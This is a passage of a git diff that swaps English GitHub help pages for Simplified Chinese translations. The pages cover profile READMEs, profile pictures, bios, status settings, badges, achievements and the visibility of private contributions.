README.md 的文件。 +- README.md 文件包含任何内容。 {% note %} -**Note**: If you created a public repository with the same name as your username before July 2020, {% data variables.product.prodname_dotcom %} won't automatically show the repository's README on your profile. You can manually share the repository's README to your profile by going to the repository on {% data variables.product.prodname_dotcom_the_website %} and clicking **Share to profile**. +注意:如果你在 2020 年 7 月之前创建了一个与你的用户名同名的公共存储库,{% data variables.product.prodname_dotcom %} 将不会自动在你的个人资料中显示该存储库的自述文件。 可以通过转到 {% data variables.product.prodname_dotcom_the_website %} 上的存储库并单击“共享到配置文件”,手动将存储库的自述文件共享到配置文件。 -![Button to share README to profile](/assets/images/help/repository/share-to-profile.png) +![将自述文件分享到个人资料的按钮](/assets/images/help/repository/share-to-profile.png) {% endnote %} -## Adding a profile README +## 添加个人资料自述文件 {% data reusables.repositories.create_new %} -2. Under "Repository name", type a repository name that matches your {% data variables.product.prodname_dotcom %} username. For example, if your username is "octocat", the repository name must be "octocat". - ![Repository name field which matches username](/assets/images/help/repository/repo-username-match.png) -3. Optionally, add a description of your repository. For example, "My personal repository." - ![Field for entering a repository description](/assets/images/help/repository/create-personal-repository-desc.png) -4. Select **Public**. - ![Radio button to select visibility with public selected](/assets/images/help/repository/create-personal-repository-visibility.png) -{% data reusables.repositories.initialize-with-readme %} -{% data reusables.repositories.create-repo %} -7. Above the right sidebar, click **Edit README**. - ![Button to edit README file](/assets/images/help/repository/personal-repository-edit-readme.png) +2. 在“Repository name(仓库名称)”下,输入与您的 {% data variables.product.prodname_dotcom %} 用户名匹配的仓库名称。 例如,如果您的用户名是 "octocat",则仓库名称必须为 "octocat"。 + ![与用户名匹配的存储库名称字段](/assets/images/help/repository/repo-username-match.png) +3. 可以选择性地添加存储库的说明。 例如,“My personal repository(我的个人仓库)”。 + ![用于输入存储库说明的字段](/assets/images/help/repository/create-personal-repository-desc.png) +4. 选择“公共”。 + ![用于选择可见性的单选按钮,已选择“公共”](/assets/images/help/repository/create-personal-repository-visibility.png) {% data reusables.repositories.initialize-with-readme %} {% data reusables.repositories.create-repo %} +7. 在右边栏上方,单击“编辑自述文件”。 + ![“编辑自述文件”按钮](/assets/images/help/repository/personal-repository-edit-readme.png) - The generated README file is pre-populated with a template to give you some inspiration for your profile README. - ![README file with pre-populated template](/assets/images/help/repository/personal-repository-readme-template.png) + 生成的自述文件用模板预先填充,为您创建个人资料自述文件提供一些启发。 + ![带有预填充模板的自述文件](/assets/images/help/repository/personal-repository-readme-template.png) -For a summary of all the available emojis and their codes, see "[Emoji cheat sheet](https://www.webfx.com/tools/emoji-cheat-sheet/)." +有关所有可用表情符号及其代码的摘要,请参阅“[表情符号备忘单](https://www.webfx.com/tools/emoji-cheat-sheet/)”。 -## Removing a profile README +## 删除个人资料自述文件 -The profile README is removed from your {% data variables.product.prodname_dotcom %} profile if any of the following apply: +如果以下任何一项适用,个人资料自述文件将从您的 {% data variables.product.prodname_dotcom %} 个人资料中被删除: -- The README file is empty or doesn't exist. -- The repository is private. -- The repository name no longer matches your username. +- 自述文件为空或不存在。 +- 该仓库为私有仓库。 +- 仓库名称不再与您的用户名匹配。 -The method you choose depends upon your needs, but if you're unsure, we recommend making your repository private. For steps on how to make your repository private, see "[Changing a repository's visibility](/github/administering-a-repository/setting-repository-visibility#changing-a-repositorys-visibility)." +您选择的方法取决于您的需求,但如果您不确定,我们建议您将仓库设为私有。 有关如何将存储库设为专用的步骤,请参阅“[更改存储库的可见性](/github/administering-a-repository/setting-repository-visibility#changing-a-repositorys-visibility)”。 -## Further reading +## 延伸阅读 -- [About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes) +- [关于自述文件](/github/creating-cloning-and-archiving-repositories/about-readmes) diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md index 2d9b69cef2..296d00bcf1 100644 --- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md @@ -1,6 +1,6 @@ --- -title: Personalizing your profile -intro: 'You can share information about yourself with other {% data variables.product.product_name %} users by setting a profile picture and adding a bio to your profile.' +title: 个性化您的个人资料 +intro: '你可以在个人资料中设置头像和添加个人简历,与其他 {% data variables.product.product_name %} 用户共享你自己的信息。' redirect_from: - /articles/adding-a-bio-to-your-profile - /articles/setting-your-profile-picture @@ -18,186 +18,156 @@ versions: topics: - Profiles shortTitle: Personalize +ms.openlocfilehash: c12fccd91144428fe9aad2f01d2c0b0941fdd4d4 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146681051' --- -## Changing your profile picture +## 更改头像 -Your profile picture helps identify you across {% data variables.product.product_name %} in pull requests, comments, contributions pages, and graphs. +您的头像可帮助在 {% data variables.product.product_name %} 的拉取请求、评论、参与页面及图形中识别您。 -When you sign up for an account, {% data variables.product.product_name %} provides you with a randomly generated "identicon". [Your identicon](https://github.com/blog/1586-identicons) generates from a hash of your user ID, so there's no way to control its color or pattern. You can replace your identicon with an image that represents you. +在注册帐户时,{% data variables.product.product_name %} 会提供一个随机生成的“默认肖像”。 [哈希头像](https://github.com/blog/1586-identicons)根据用户 ID 的哈希生成,因此无法控制其颜色或模式。 您可以将默认肖像替换为能代表您的图片。 {% note %} -**Note{% ifversion ghec %}s{% endif %}**: {% ifversion ghec %} +注意{% ifversion ghec %}s{% endif %}:{% ifversion ghec %} -* {% endif %}Your profile picture should be a PNG, JPG, or GIF file, and it must be less than 1 MB in size and smaller than 3000 by 3000 pixels. For the best quality rendering, we recommend keeping the image at about 500 by 500 pixels. -{% ifversion ghec %}* Gravatar profile pictures are not supported with {% data variables.product.prodname_emus %}.{% endif %} +* {% endif %}个人资料图片应为 PNG、JPG 或 GIF 文件,其大小必须小于 1 MB,且小于 3000 x 3000 像素。 为获取质量最佳的渲染,建议图像的像素保持在大约 500 x 500 像素。 +{% ifversion ghec %}* {% data variables.product.prodname_emus %} 不支持 Gravatar 头像。{% endif %} {% endnote %} -### Setting a profile picture +### 设置头像 {% data reusables.user-settings.access_settings %} -2. Under **Profile Picture**, click {% octicon "pencil" aria-label="The edit icon" %} **Edit**. -![Edit profile picture](/assets/images/help/profile/edit-profile-photo.png) -3. Click **Upload a photo...**.{% ifversion not ghae %} -![Update profile picture](/assets/images/help/profile/edit-profile-picture-options.png){% endif %} -3. Crop your picture. When you're done, click **Set new profile picture**. - ![Crop uploaded photo](/assets/images/help/profile/avatar_crop_and_save.png) +2. 在“个人资料图片”下,单击 {% octicon "pencil" aria-label="The edit icon" %}“编辑” 。 +![编辑个人资料图片](/assets/images/help/profile/edit-profile-photo.png) +3. 单击“上传照片...”。{% ifversion not ghae %}![更新个人资料图片](/assets/images/help/profile/edit-profile-picture-options.png){% endif %} +3. 裁剪图片。 完成后,单击“设置新的个人资料图片”。 + ![裁剪上传的照片](/assets/images/help/profile/avatar_crop_and_save.png) -### Resetting your profile picture to the identicon +### 将头像重置为默认肖像 {% data reusables.user-settings.access_settings %} -2. Under **Profile Picture**, click {% octicon "pencil" aria-label="The edit icon" %} **Edit**. -![Edit profile picture](/assets/images/help/profile/edit-profile-photo.png) -3. To revert to your identicon, click **Remove photo**. {% ifversion not ghae %}If your email address is associated with a [Gravatar](https://en.gravatar.com/), you cannot revert to your identicon. Click **Revert to Gravatar** instead. -![Update profile picture](/assets/images/help/profile/edit-profile-picture-options.png){% endif %} +2. 在“个人资料图片”下,单击 {% octicon "pencil" aria-label="The edit icon" %}“编辑” 。 +![编辑个人资料图片](/assets/images/help/profile/edit-profile-photo.png) +3. 要还原为哈希头像,请单击“删除照片”。 {% ifversion not ghae %}如果电子邮件地址与 [Gravatar](https://en.gravatar.com/) 相关联,则无法还原为默认肖像。 此时请单击“还原为 Gravatar”。 +![更新个人资料图片](/assets/images/help/profile/edit-profile-picture-options.png){% endif %} -## Changing your profile name +## 更改个人资料名称 -You can change the name that is displayed on your profile. This name may also be displayed next to comments you make on private repositories owned by an organization. For more information, see "[Managing the display of member names in your organization](/articles/managing-the-display-of-member-names-in-your-organization)." +您可以更改显示在个人资料中的名称。 此名称也可能显示在您对于组织拥有的私有仓库所做的注释旁边。 有关详细信息,请参阅“[管理组织中成员名称的显示](/articles/managing-the-display-of-member-names-in-your-organization)”。 -{% ifversion fpt or ghec %} -{% note %} +{% ifversion fpt or ghec %} {% note %} -**Note:** If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, any changes to your profile name must be made through your identity provider instead of {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.enterprise-accounts.emu-more-info-account %} +注意:如果你是 {% data variables.product.prodname_emu_enterprise %} 的成员,则必须通过你的标识提供者而不是 {% data variables.product.prodname_dotcom_the_website %} 对个人资料名称进行任何更改。 {% data reusables.enterprise-accounts.emu-more-info-account %} -{% endnote %} -{% endif %} +{% endnote %} {% endif %} {% data reusables.user-settings.access_settings %} -2. Under "Name", type the name you want to be displayed on your profile. - ![Name field in profile settings](/assets/images/help/profile/name-field.png) +2. 在“Name(名称)”下,键入要显示在个人资料中的名称。 + ![个人资料设置中的名称字段](/assets/images/help/profile/name-field.png) -## Adding a bio to your profile +## 在个人资料中添加个人简历 -Add a bio to your profile to share information about yourself with other {% data variables.product.product_name %} users. With the help of [@mentions](/articles/basic-writing-and-formatting-syntax) and emoji, you can include information about where you currently or have previously worked, what type of work you do, or even what kind of coffee you drink. +在个人资料中添加个人简历,与其他 {% data variables.product.product_name %} 用户共享您自己的信息。 借助 [@mentions](/articles/basic-writing-and-formatting-syntax) 和表情符号,你可以在简历中包括以下信息:目前或以前工作的工作地点、从事的工作类型,甚至是喜欢的咖啡种类。 {% ifversion fpt or ghes or ghec %} -For a longer-form and more prominent way of displaying customized information about yourself, you can also use a profile README. For more information, see "[Managing your profile README](/github/setting-up-and-managing-your-github-profile/managing-your-profile-readme)." +要以更长和更突出的方式显示有关自己的自定义信息,您还可以使用个人资料自述文件。 有关详细信息,请参阅“[管理个人资料 README](/github/setting-up-and-managing-your-github-profile/managing-your-profile-readme)”。 {% endif %} {% note %} -**Note:** - If you have the activity overview section enabled for your profile and you @mention an organization you're a member of in your profile bio, then that organization will be featured first in your activity overview. For more information, see "[Showing an overview of your activity on your profile](/articles/showing-an-overview-of-your-activity-on-your-profile)." +注意:如果你为个人资料启用了活动概述部分,并且在个人资料的个人简历中 @mention 你所属的组织,那么该组织将首先出现在你的活动概述中。 有关详细信息,请参阅“[在个人资料中显示活动概述](/articles/showing-an-overview-of-your-activity-on-your-profile)”。 {% endnote %} {% data reusables.user-settings.access_settings %} -2. Under **Bio**, add the content that you want displayed on your profile. The bio field is limited to 160 characters. - ![Update bio on profile](/assets/images/help/profile/bio-field.png) +2. 在“个人简历”下,添加要在个人资料中显示的内容。 个人资料字段限于 160 个字符。 + ![更新个人资料中的个人简历](/assets/images/help/profile/bio-field.png) {% tip %} - **Tip:** When you @mention an organization, only those that you're a member of will autocomplete. You can still @mention organizations that you're not a member of, like a previous employer, but the organization name won't autocomplete for you. + 提示:当你 @mention 组织时,只有你所属的组织才会自动填写。 你也可 @mention 不是其成员的组织(例如前雇主),但该组织名称不会自动填写。 {% endtip %} -{% data reusables.profile.update-profile %} +3. 单击“更新个人资料”。 + ![“更新个人资料”按钮](/assets/images/help/profile/update-profile-button.png) -{% ifversion profile-time-zone %} +## 设置状态 -## Setting your location and time zone +您可以设置状态以显示您当前在 {% data variables.product.product_name %} 上的可用性。 您的状态将会显示: +- 在您的 {% data variables.product.product_name %} 个人资料页面上。 +- 当有人在 {% data variables.product.product_name %} 上将鼠标放在您的用户名或头像上时。 +- 在您属于其成员的团队页面上时。 有关详细信息,请参阅“[关于团队](/articles/about-teams/#team-pages)”。 +- 在您属于其成员的组织的组织仪表板上。 有关详细信息,请参阅“[关于组织仪表板](/articles/about-your-organization-dashboard/)”。 -You can set a location and time zone on your profile to show other people your local time. Your location and time zone will be visible: -- on your {% data variables.product.product_name %} profile page. -- when people hover over your username or avatar on {% data variables.product.product_name %}. +在设置状态时,您也可以让人们知道您在 {% data variables.product.product_name %} 上的可用性有限。 -When you view your profile, you will see your location, local time, and your time zone in relation to Universal Time Coordinated. +![提及的用户名在用户名旁边显示“忙碌”注释](/assets/images/help/profile/username-with-limited-availability-text.png) - ![Screenshot of the Octocat profile page emphasizing the location, local time, and time zone fields.](/assets/images/help/profile/profile-location-and-time.png) +![请求的审阅者在用户名旁边显示“忙碌”注释](/assets/images/help/profile/request-a-review-limited-availability-status.png) -When others view your profile, they will see your location, local time, and the time difference in hours from their own local time. +如果选择“忙碌”选项,当人们 @mention 你的用户名、分配给你问题或拉取请求或者请求你对拉取请求进行评审时,你的用户名旁边将会出现一条表示你在忙碌的注释。 您还将被排除在分配给您所属的任何团队的拉取请求的自动审核任务之外。 有关详细信息,请参阅“[管理团队的代码评审设置](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team)”。 - ![Screenshot of the Octocat profile page emphasizing the location, local time, and relative time fields.](/assets/images/help/profile/profile-relative-time.png) - -{% data reusables.user-settings.access_settings %} -1. Under **Location**, type the location you want to be displayed on your profile. - - ![Screenshot of the location and local time settings emphasizing the location field.](/assets/images/help/profile/location-field.png) - -1. Optionally, to display the current local time on your profile, select **Display current local time**. - - ![Screenshot of the location and local time settings emphasizing the display current local time checkbox.](/assets/images/help/profile/display-local-time-checkbox.png) - - - Select the **Time zone** dropdown menu, then click your local time zone. - - ![Screenshot of the location and local time settings emphasizing the time zone dropdown menu.](/assets/images/help/profile/time-zone-dropdown.png) - -{% data reusables.profile.update-profile %} - -{% endif %} - -## Setting a status - -You can set a status to display information about your current availability on {% data variables.product.product_name %}. Your status will show: -- on your {% data variables.product.product_name %} profile page. -- when people hover over your username or avatar on {% data variables.product.product_name %}. -- on a team page for a team where you're a team member. For more information, see "[About teams](/articles/about-teams/#team-pages)." -- on the organization dashboard in an organization where you're a member. For more information, see "[About your organization dashboard](/articles/about-your-organization-dashboard/)." - -When you set your status, you can also let people know that you have limited availability on {% data variables.product.product_name %}. - -![At-mentioned username shows "busy" note next to username](/assets/images/help/profile/username-with-limited-availability-text.png) - -![Requested reviewer shows "busy" note next to username](/assets/images/help/profile/request-a-review-limited-availability-status.png) - -If you select the "Busy" option, when people @mention your username, assign you an issue or pull request, or request a pull request review from you, a note next to your username will show that you're busy. You will also be excluded from automatic review assignment for pull requests assigned to any teams you belong to. For more information, see "[Managing code review settings for your team](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team)." - -1. In the top right corner of {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_name %}{% endif %}, click your profile photo, then click **Set status** or, if you already have a status set, click your current status. - ![Button on profile to set your status](/assets/images/help/profile/set-status-on-profile.png) -2. To add custom text to your status, click in the text field and type a status message. - ![Field to type a status message](/assets/images/help/profile/type-a-status-message.png) -3. Optionally, to set an emoji status, click the smiley icon and select an emoji from the list. - ![Button to select an emoji status](/assets/images/help/profile/select-emoji-status.png) -4. Optionally, if you'd like to share that you have limited availability, select "Busy." - ![Busy option selected in Edit status options](/assets/images/help/profile/limited-availability-status.png) -5. Use the **Clear status** drop-down menu, and select when you want your status to expire. If you don't select a status expiration, you will keep your status until you clear or edit your status. - ![Drop down menu to choose when your status expires](/assets/images/help/profile/status-expiration.png) -6. Use the drop-down menu and click the organization you want your status visible to. If you don't select an organization, your status will be public. - ![Drop down menu to choose who your status is visible to](/assets/images/help/profile/status-visibility.png) -7. Click **Set status**. - ![Button to set status](/assets/images/help/profile/set-status-button.png) +1. 在 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_name %}{% endif %} 的右上角,单击你的个人资料照片,然后单击“设置状态”,或者,如果已设置状态,则单击当前状态。 + ![个人资料中用于设置状态的按钮](/assets/images/help/profile/set-status-on-profile.png) +2. 要添加自定义文本到状态,请单击文本字段,然后输入状态消息。 + ![用于键入状态消息的字段](/assets/images/help/profile/type-a-status-message.png) +3. (可选)要设置表情符号状态,请单击笑脸图标并从列表中选择表情符号。 + ![选择表情符号状态的按钮](/assets/images/help/profile/select-emoji-status.png) +4. (可选)如果想表示您的可用性受限,请选择“Busy(忙碌)”。 + ![在“编辑状态”选项中选择的“忙碌”选项](/assets/images/help/profile/limited-availability-status.png) +5. 使用“清除状态”下拉菜单,选择状态的到期时间。 如果不选择状态到期时间,您的状态将保持到您清除或编辑状态为止。 + ![用于选择状态到期时间的下拉菜单](/assets/images/help/profile/status-expiration.png) +6. 使用下拉菜单,单击您要向其显示状态的组织。 如果不选择组织,您的状态将是公共的。 + ![用于选择状态可见者的下拉菜单](/assets/images/help/profile/status-visibility.png) +7. 单击“设置状态”。 + ![设置状态的按钮](/assets/images/help/profile/set-status-button.png) {% ifversion fpt or ghec %} -## Displaying badges on your profile +## 在个人资料中显示徽章 -When you participate in certain programs, {% data variables.product.prodname_dotcom %} automatically displays a badge on your profile. +当您参与某些计划时, {% data variables.product.prodname_dotcom %} 会自动在您的个人资料中显示徽章。 -| Badge | Program | Description | +| 徽章 | 节目 | 说明 | | --- | --- | --- | -| {% octicon "cpu" aria-label="The Developer Program icon" %} | **Developer Program Member** | If you're a registered member of the {% data variables.product.prodname_dotcom %} Developer Program, building an app with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, you'll get a Developer Program Member badge on your profile. For more information on the {% data variables.product.prodname_dotcom %} Developer Program, see [GitHub Developer](/program/). | -| {% octicon "star-fill" aria-label="The star icon" %} | **Pro** | If you use {% data variables.product.prodname_pro %} you'll get a PRO badge on your profile. For more information about {% data variables.product.prodname_pro %}, see "[{% data variables.product.prodname_dotcom %}'s products](/github/getting-started-with-github/githubs-products#github-pro)." | -| {% octicon "lock" aria-label="The lock icon" %} | **Security Bug Bounty Hunter** | If you helped out hunting down security vulnerabilities, you'll get a Security Bug Bounty Hunter badge on your profile. For more information about the {% data variables.product.prodname_dotcom %} Security program, see [{% data variables.product.prodname_dotcom %} Security](https://bounty.github.com/). | -| {% octicon "mortar-board" aria-label="The mortar-board icon" %} | **{% data variables.product.prodname_dotcom %} Campus Expert** | If you participate in the {% data variables.product.prodname_campus_program %}, you will get a {% data variables.product.prodname_dotcom %} Campus Expert badge on your profile. For more information about the Campus Experts program, see [Campus Experts](https://education.github.com/experts). | -| {% octicon "shield" aria-label="The shield icon" %} | **Security advisory credit** | If a security advisory you submit to the [{% data variables.product.prodname_dotcom %} Advisory Database](https://github.com/advisories) is accepted, you'll get a Security advisory credit badge on your profile. For more information about {% data variables.product.prodname_dotcom %} Security Advisories, see [{% data variables.product.prodname_dotcom %} Security Advisories](/code-security/repository-security-advisories/about-github-security-advisories-for-repositories). | -| {% octicon "check" aria-label="The check icon" %} | **Discussion answered** | If your reply to a discussion is marked as the answer, you'll get a Discussion answered badge on your profile. For more information about {% data variables.product.prodname_dotcom %} Discussions, see [About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions). | +| {% octicon "cpu" aria-label="The Developer Program icon" %} | **开发人员计划成员** | 如果您是 {% data variables.product.prodname_dotcom %} 开发者计划的注册成员,使用 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 构建应用程序,您的个人资料上将获得开发者计划成员徽章。 有关 {% data variables.product.prodname_dotcom %} 开发人员计划的更多信息,请参阅 [GitHub 开发人员](/program/)。 | +| {% octicon "star-fill" aria-label="The star icon" %} | **Pro** | 如果您使用 {% data variables.product.prodname_pro %},您的个人资料中将获得一个 PRO 徽章。 有关 {% data variables.product.prodname_pro %} 的详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 的产品](/github/getting-started-with-github/githubs-products#github-pro)”。 | +| {% octicon "lock" aria-label="The lock icon" %} | **Security Bug Bounty Hunter** | 如果你帮助寻找安全漏洞,您的个人资料上将获得 Security Bug Bounty Hunter 徽章。 有关 {% data variables.product.prodname_dotcom %} 安全计划的详细信息,请参阅 [{% data variables.product.prodname_dotcom %} 安全性](https://bounty.github.com/)。 | +| {% octicon "mortar-board" aria-label="The mortar-board icon" %} | **{% data variables.product.prodname_dotcom %} 校园专家** | 如果您参加 {% data variables.product.prodname_campus_program %},您的个人资料上将获得 {% data variables.product.prodname_dotcom %} 校园专家徽章。 有关校园专家计划的详细信息,请参阅[校园专家](https://education.github.com/experts)。 | +| {% octicon "shield" aria-label="The shield icon" %} | 安全公告信用 | 如果你提交到 [{% data variables.product.prodname_dotcom %} 公告数据库](https://github.com/advisories)的安全公告被接受,你的个人资料上将获得一个安全公告信用徽章。 有关 {% data variables.product.prodname_dotcom %} 安全公告的详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 安全公告](/code-security/repository-security-advisories/about-github-security-advisories-for-repositories)”。 | +| {% octicon "check" aria-label="The check icon" %} | 已回答的讨论 | 如果对讨论的答复标记为答案,你将在个人资料上获得“已回答的讨论”徽章。 有关 {% data variables.product.prodname_dotcom %} 的详细信息,请参阅[关于讨论](/discussions/collaborating-with-your-community-using-discussions/about-discussions)。 | {% endif %} {% ifversion fpt or ghec %} -## Earning Achievements +## 获得成就 -Achievements celebrate specific events and actions that happen on {% data variables.product.prodname_dotcom %}. They will appear as small badges listed in the sidebar of your profile. Clicking or hovering on an achievement will show a detailed view that hints at how the achievement was earned, with a short description and links to the contributing events. The event links will only be visible to users that have access to the repository or organization that the event took place in. Event links will appear inaccessible to all users without access. +成就庆祝 {% data variables.product.prodname_dotcom %} 上发生的特定事件和操作。 它们将显示为你的个人资料边栏中列出的小徽章。 单击或悬停在成就上将显示一个详细视图,该视图提示如何获得成就,并提供简短说明和参与事件的链接。 事件链接将仅对有权访问发生事件的存储库或组织的用户可见。 对于没有访问权限的所有用户,事件链接将不可访问。 -To stop private contributions from counting toward your Achievements, or to turn off Achievements entirely, see "[Showing your private contributions and Achievements on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)." +若要阻止私人贡献计入成就,或完全关闭成就,请参阅“[在个人资料上显示你的私人贡献和成就](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)”。 {% note %} -**Note:** This feature is currently in beta and subject to change. +注意:此功能目前为 beta 版本,可能会有变动。 {% endnote %} {% endif %} -## List of qualifying repositories for Mars 2020 Helicopter Contributor achievement +## Mars 2020 Helicopter 贡献者成就的合格仓库列表 -If you authored any commit(s) present in the commit history for the listed tag of one or more of the repositories below, you'll receive the Mars 2020 Helicopter Contributor achievement on your profile. The authored commit must be with a verified email address, associated with your account at the time {% data variables.product.prodname_dotcom %} determined the eligible contributions, in order to be attributed to you. You can be the original author or [one of the co-authors](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors) of the commit. Future changes to verified emails will not have an effect on the badge. We built the list based on information received from NASA's Jet Propulsion Laboratory. +如果你为下面一个或多个仓库列出的标记撰写了提交历史记录中的任何提交,你的个人资料中将获得 Mars 2020 Helicopter 贡献者成就。 撰写的提交必须有验证过的电子邮件地址,该电子邮件地址在 {% data variables.product.prodname_dotcom %} 确定符合条件的贡献时与您帐户关联,表示该贡献归属于您。 你可以是提交的原始作者或[共同作者之一](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors)。 将来对经过验证的电子邮件的更改不会对徽章产生影响。 我们根据从美国航天局喷气推进实验室获得的资料编制了清单。 -| {% data variables.product.prodname_dotcom %} Repository | Version | Tag | +| {% data variables.product.prodname_dotcom %} 仓库 | 版本 | 标记 | |---|---|---| | [torvalds/linux](https://github.com/torvalds/linux) | 3.4 | [v3.4](https://github.com/torvalds/linux/releases/tag/v3.4) | | [python/cpython](https://github.com/python/cpython) | 3.9.2 | [v3.9.2](https://github.com/python/cpython/releases/tag/v3.9.2) | @@ -268,6 +238,6 @@ If you authored any commit(s) present in the commit history for the listed tag o | [locationtech/jts](https://github.com/locationtech/jts) | 1.15.0 | [jts-1.15.0](https://github.com/locationtech/jts/releases/tag/jts-1.15.0) | | [apache/logging-log4j2](https://github.com/apache/logging-log4j2) | 2.11 | [log4j-2.11.0](https://github.com/apache/logging-log4j2/releases/tag/log4j-2.11.0) | -## Further reading +## 延伸阅读 -- "[About your profile](/articles/about-your-profile)" +- [关于个人资料](/articles/about-your-profile) diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/index.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/index.md new file mode 100644 index 0000000000..d5f4a266ac --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/index.md @@ -0,0 +1,28 @@ +--- +title: 管理个人资料中的贡献图 +intro: Your contributions, including commits, proposed pull requests, and opened issues, are displayed on your profile so people can easily see the work you've done. +redirect_from: +- /articles/managing-contribution-graphs-on-your-profile +- /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Profiles +children: +- /viewing-contributions-on-your-profile +- /showing-an-overview-of-your-activity-on-your-profile +- /publicizing-or-hiding-your-private-contributions-on-your-profile +- /sending-enterprise-contributions-to-your-githubcom-profile +- /why-are-my-contributions-not-showing-up-on-my-profile +- /troubleshooting-commits-on-your-timeline +shortTitle: Manage contribution graph +ms.openlocfilehash: 87780d97656aa27b4d60fb06a5550f042a0f8f96 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145066986" +--- diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/publicizing-or-hiding-your-private-contributions-on-your-profile.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/publicizing-or-hiding-your-private-contributions-on-your-profile.md new file mode 100644 index 0000000000..2ed420d0f1 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/publicizing-or-hiding-your-private-contributions-on-your-profile.md @@ -0,0 +1,43 @@ +--- +title: 在个人资料中公开或隐藏您的私人贡献 +intro: Your {% data variables.product.product_name %} profile shows a graph of your repository contributions over the past year. You can choose to show anonymized activity from {% ifversion fpt or ghes or ghec %}private and internal{% else %}private{% endif %} repositories{% ifversion fpt or ghes or ghec %} in addition to the activity from public repositories{% endif %}. +redirect_from: +- /articles/publicizing-or-hiding-your-private-contributions-on-your-profile +- /github/setting-up-and-managing-your-github-profile/publicizing-or-hiding-your-private-contributions-on-your-profile +- /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/publicizing-or-hiding-your-private-contributions-on-your-profile +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Profiles +shortTitle: Private contributions +ms.openlocfilehash: d3ca9c3bef9324baa73b96eb6dc26bdd75960b37 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145066983" +--- +如果公开您的私有贡献,对您处理的私有仓库没有访问权限的人员将无法查看您的私有贡献详情, 而只能看到您在指定日期的贡献数。 您的公共贡献会包含详细信息。 有关详细信息,请参阅“[查看个人资料页面上的贡献](/articles/viewing-contributions-on-your-profile-page)”。 + +{% note %} + +**注意:** {% ifversion fpt or ghes or ghec %}在 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.product.product_name %}{% endif %} 上,你的个人资料上的公共贡献{% ifversion fpt or ghec %}对世界上能访问 {% data variables.product.prodname_dotcom_the_website %} 的任何人{% elsif ghes %}仅对其他 {% data variables.product.product_location%} 用户{% endif %}可见。{% elsif ghae %}在 {% data variables.product.prodname_ghe_managed %} 上,只有你企业的其他成员才可看到你的个人资料上的贡献。{% endif %} + +{% endnote %} + +## 更改私有贡献的可见性 + +{% data reusables.profile.access_profile %} +1. 在个人资料中公开或隐藏您的私有贡献: + - 要公开你的私有贡献,在贡献图上方,使用“贡献设置”下拉菜单,然后选择“私有贡献” 。 访问者将会看到您的私有贡献数,但没有更多详细信息。 + ![从“贡献设置”下拉菜单允许访问者查看私有贡献](/assets/images/help/profile/private-contributions-on.png) + - 要隐藏你的私有贡献,在贡献图上方,使用“贡献设置”下拉菜单,然后取消选择“私有贡献” 。 访问者将只看到你的公共贡献。 + ![从“贡献设置”下拉菜单允许访问者查看私有贡献](/assets/images/help/profile/private-contributions-off.png) + +## 延伸阅读 + +- “[在个人资料页中查看贡献](/articles/viewing-contributions-on-your-profile-page)” +- “[为什么我的贡献未显示在我的个人资料上?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)” diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md new file mode 100644 index 0000000000..fbbc8f2df5 --- /dev/null +++ 